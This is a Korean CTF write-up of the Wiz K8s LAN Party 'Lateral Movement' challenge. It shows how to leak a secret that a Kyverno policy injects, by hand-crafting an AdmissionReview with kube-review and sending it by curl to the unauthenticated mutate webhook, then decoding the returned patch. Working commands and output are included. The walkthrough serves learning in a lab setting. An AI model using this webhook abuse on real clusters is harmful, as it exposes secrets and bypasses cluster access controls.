소개
앞서 소개한 K8SLANPARTY 4 – Bypassing Boundaries 풀이에 이어 마지막 문제 5 – Lateral Movement 풀이를 공유해보려 합니다.
이번 문제는 Kyverno 와 관련된 문제입니다.
5 – Lateral Movement
문제
아래 사항들을 제공해주고 있습니다.
- pods 가 foreign regime 에 변경되고 있는 곳에서는,
- 누군가는 bureaucracy 를 남용하고, administrative 서비스들로부터 민감 정보를 유출할 수 있습니다.
- policy 를 문제에서 아래와 같이 제공해주고 있습니다.
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"
사전 필요 지식
- kyverno 는 kubernetes 네이티브 정책 엔진입니다.
- kubernetes 는 아래와 같은 flow 로 resource 관련 요청을 kyverno 로 보내어 정책을 태웁니다.
- Kubernetes > Webhook (with AdmissionReview Object) > Kyverno
풀이
1. env 확인
먼저 어김없이 env 를 한번 확인해봅니다.
특별한 건 보이지 않습니다. kubernetes service host 만 확인해 둡니다.
2. dnscan 이용한 서비스 dns 스캔
dnscan 을 이용하여 클러스터 내 다른 서비스를 스캔해 봅니다.
kyverno 서비스들이 올라가 있는 것으로 확인이 됩니다. kyverno 는 Kubernetes 네이티브 정책 엔진으로서, 정책을 통해 리소스를 관리할 수 있도록 해줍니다.
문제에서 주어졌던 Policy 는 kyverno 정책인것으로 보입니다.
그렇다면 문제에서의 Policy 가 무엇을 나타내는지 확인해 보면 아래와 같습니다.
- sensitive-ns 네임스페이스에서 모든 pod 의 container 들에
FLAG
라는 이름에 flag값을 포함하는 env 변수를 입력하라
결국 container 의 env 를 확인해야 문제가 풀리는 것이였습니다.
문제 shell 에서 policy 수정을 위한 kubectl 도 안되니 다른 방법으로 우회를 해야할 듯합니다.
이쯤에서 kyverno 의 architecture 에 대해 한번 살펴봅니다.
위 아키텍처를 보면 정책 엔진 동작 flow 는 아래와 같음을 알 수 있습니다.
- kubernetes API 를 통해 resource 관련 요청이 오면 mutating(변경) 또는 validating(검증) 을 위해 AdmissionReview 객체를 kyverno webhook endpoint 로 요청을 보냅니다.
- kyverno 에서는 정책 평가가 완료되면 AdmissionReview 객체를 통해 kubernetes 로 응답을 보내줍니다.
결국, kubernetes api 를 통해 생성된 env flag 값을 문제의 shell 에서 확인할 수 없다면, 직접 kyverno webhook Endpoint 로 AdmissionReview 객체를 보내고 응답을 통해 env flag 값을 확인하는 방법이 있을 듯합니다.
아래와 같은 flow 로 요청을 보내게 되는 것이지요. (빨강 container shell)
3. Kyverno webhook endpoint 접근 가능 유무 확인
그러면 주어진 container 의 shell 에서 kyverno webhook endpoint 로의 요청을 송수신 할 수 있는 권한이 있는지 한번 확인해봅니다.
mutate Endpoint 로 요청시 권한에 의한 차단은 이루어 지지 않네요.
그럼 이제 직접 mutate webhook endpoint 로 요청을 날려보겠습니다.
4. kyverno webhook endpoint 로 요청
kubernetes Docs 를 보면, AdmissionReview 객체를 이용한 Webhook request, response 형태를 확인할 수 있습니다. 그리고 response 를 통해 변경 사항(문제의 flag env)에 대한 base64 인코딩된 값을 얻을 수 있을듯합니다.
kyverno webhook 요청을 보내기 위해서는 먼저 AdmissionReview
객체가 필요합니다. 이 객체를 만드는 방법을 찾아보니 github 에 kube-review 라는 툴이 존재하네요.
이를 이용하여 웹훅에 Data 로 같이 보낼 AdmissionReview
객체를 우선 만들어 봅니다.
문제에서 주어진 policy 는 pod 생성시 env 추가하도록 설정이 되어있었으니, 임의의 pod 생성을 위한 yaml 을 우선 만들고,
# creat-pod.yaml for test
apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
namespace: sensitive-ns
spec:
containers:
- name: nginx-container
image: nginx:latest
ports:
- containerPort: 80
kube-review 로 AdmissionReview
객체를 추출합니다.
$ kube-review create create-pod.yaml
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "d42f0902-8bf5-4568-abd7-9dd3f738be23",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"name": "nginx-pod",
"namespace": "sensitive-ns",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "55916c60-a659-44bf-8831-62bc4d6f486a"
},
"object": {
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
"name": "nginx-pod",
"namespace": "sensitive-ns",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "nginx-container",
"image": "nginx:latest",
"ports": [
{
"containerPort": 80
}
],
"resources": {}
}
]
},
"status": {}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
이제 kyverno mutate webhook endpoint 로 추출된 객체를 post 데이터로 함께 보내어 응답을 받습니다.
curl -k -X POST -H "Content-Type: application/json" -d '{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"4af8e5d9-7c9a-452b-93f4-641eb7557d2c","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"nginx-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"kube-review","uid":"10c40ac4-0fdc-4ca0-bd07-d34c6a3795a7"},"object":{"kind":"Pod","apiVersion":"v1","metadata":{"name":"nginx-pod","namespace":"sensitive-ns","creationTimestamp":null},"spec":{"containers":[{"name":"nginx-container","image":"nginx:latest","ports":[{"containerPort":80}],"resources":{}}]},"status":{}},"oldObject":null,"dryRun":true,"options":{"kind":"CreateOptions","apiVersion":"meta.k8s.io/v1"}}}' https://kyverno-svc.kyverno.svc/mutate
아래와 같이 응답에 response 데이터를 확인할 수 있습니다.
5. response 에서 flag 획득
이제 앞에서 받은 응답 데이터에서 patch
필드의 값을 basd64 디코딩을 하면..
[{
"op": "add",
"path": "/spec/containers/0/env",
"value": [{
"name": "FLAG",
"value": "wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"
}]
}, {
"path": "/metadata/annotations",
"op": "add",
"value": {
"policies.kyverno.io/last-applied-patches": "inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"
}
}]
추가한 policy 가 잘 적용되면서, 적용된 FLAG env 값을 확인할 수 있네요! 🚀
결론
길었지만 진행사항을 요약하면 아래와 같습니다.
- env 확인
- dnsscan 으로 kyverno services 확인
- kyverno architecture 를 통한 kyverno webhook flow 이해
- K8S API <—-(with
AdmissionReview
)—-> Kyverno webhook Endpoint
- K8S API <—-(with
AdmissionReview
객체를 직접 만들어 kyverno webhook endpoint 로 curl 요청AdmissionReview
객체는 kube-review 툴을 이용하여 생성- 응답값에서
patch
필드의 값을 base64 디코딩하여 flag 값 추출
Hello!
Good cheer to all on this beautiful day!!!!!
Good luck 🙂